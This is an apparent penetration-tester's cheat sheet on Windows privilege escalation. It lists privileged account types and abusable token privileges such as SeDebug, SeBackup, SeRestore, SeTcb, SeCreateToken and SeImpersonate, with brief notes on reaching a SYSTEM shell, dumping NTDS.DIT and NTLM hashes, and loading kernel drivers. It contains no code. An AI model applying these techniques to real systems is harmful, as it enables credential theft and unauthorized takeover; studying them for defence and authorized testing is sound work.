# Interesting accounts
- Administrators, Local System
- Built-in groups (Backup, Server, Printer Operators)
- Local/network service accounts
- Managed Service and Virtual Accounts
- Third party application users
- Misconfigured users
# Interesting privileges
- SeDebugPrivilege
Create a new process and set the parent process a privileged process
https://github.com/decoder-it/psgetsystem
- SeRestorePrivilege
Can write files anywhere, overwrites files, protected system files
Modify a service running as Local and startable by all users and get a SYSTEM shell
- SeBackupPrivilege
Can backup Windows registry and use third party tools for extracting local NTLM hashes
Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT
- SeTakeOwnershipPrivilege
Can take ownership of any securable object in the system
- SeTcbPrivilege
Can logon as a different user without any credentials in order to get a security Impersonation Token by using the LsaLogonUser() function
- SeCreateTokenPrivilege
Can create a custom token with all privileges and group membership you need (until Win 10 >= 1809)
But if you set the AuthenticationId to ANONYMOUS_LOGON_UID (0x3e6) you can always impersonate even in Win >=1809 and use a subset of API calls: CreateFile(), RegSetKey()
- SeLoadDriver Privilege
"Printer operators" have this privilege in the DC
Determines which users can dynamically load and unload device drivers or other code in to kernel mode
- SeImpersonatePrivilege & SeAssignPrimaryTokenPrivilege
Permit impersonate any access token
** If you have SeBackup & SeRestore privileges (Backup Operators group) you can set permission and ownership on each file & folder **
